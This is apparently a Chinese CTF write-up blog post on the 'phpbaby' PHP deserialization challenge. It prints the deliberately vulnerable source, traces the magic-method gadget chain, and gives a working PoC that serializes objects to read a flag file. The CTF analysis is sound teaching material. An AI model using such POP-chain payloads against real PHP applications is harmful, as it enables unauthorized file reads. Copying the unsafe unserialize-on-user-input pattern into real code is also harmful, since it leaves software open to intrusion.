百越杯 phpbaby--反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
error_reporting(1);
class Read {
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); #从value取内容
return $text;
}

public function __invoke(){
$content = $this->file_get($this->var); #目标: 改var="fllllllaaaaaag.php" #文件名怎么知道的有点迷
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'解析开始'."<br>";
}

public function __toString()
{
$this->str['str']->source;
}

public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
var_dump($this->params);
return $func();
}
}

if(isset($_GET['key'])) //参数chal
{

$cha1 = unserialize($_GET['key']); #触发 __wakeup()
#成功构造对象后自动调用__wakeup //将字符串转换为变量 利用条件: ①参数可控

}
else
{
$show = new Show('index.php');
$show->_show();
}
?>

分析源码

  1. 反序列化漏洞利用条件: ①unserialize()参数可控 ②存在可以利用的魔术方法。
  2. 推测通过反序列化漏洞最终通过 Read 类读取flag信息。
  3. 只要类中存在魔术方法就可以利用,至于实现了什么功能并不重要。

思路

  1. 通过修改Read类中的$var并通过file_get方法读flag文件,而file_get通过__invoke()触发。
  2. __invoke()触发条件: 尝试以函数形式调用对象。 借助: Test类的 \get()方法
  3. __get()触发条件: 尝试访问对象中不存在属性。 借助: Show类的 \toString()方法
  4. __toString()触发条件: 尝试将对象当做字符串处理。 借助: Show类的 \wakeup()中的正则表达式。
  5. __wakeup()触发条件: unserialize()解序列之后自动调用。

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Read{
private $var;
public function __construct(){
$this->var = "fllllllaaaaaag.php";
}
}
class Test{
public $params;
public function __construct(){
$this->params = new Read(); #进Read中找__invoke()
}
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = array("str"=>new Test()) #进Test类中找__get()
}
}
$a = new Show();
$a->source = new Show(); #如果放在Show->__construct()中则会死循环创建导致内存溢出
$payload = serialize($a);
$payload = urlencode($payload);
echo $payload;
/*php类成员只能在方法里赋值。*/
/*__construct()魔术方法: 新建对象时自动调用。*/
/*PHP 5.2.17ns测试的时候有BUG,改为5.3.29ns版本即可*/
?>

总结

反序列化漏洞看似简单,其实一环扣一环挺有意思。主要还是魔术方法的触发条件要熟悉。

目前见到的魔术方法:

  • __construct(): 对象创建时调用。注意 unserialize()解序列不会调用。
  • __destruct(): 对象销毁时调用。销毁对象: unset()
  • __wakeup(): unserialize()解序列后调用。
  • __toString(): 当对象被当做字符串使用时调用。
  • __sleep(): 当对象被serialize()序列化时调用。
  • __invoke(): 当以函数形式使用对象时调用。
  • __get(): 当访问对象中不存在的属性时调用。

PHP的魔术方法定义: 以两个下划线开头 __magicMethods() 。

源码中的 _show()并不是魔术方法,称为私有方法。

本文标题:百越杯 phpbaby--反序列化

文章作者:Tanker

发布时间:2019年11月15日 - 14:50

最后更新:2019年11月15日 - 15:49

原始链接:https://www5059109.github.io/2019/11/15/百越杯-phpbaby-反序列化/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

0%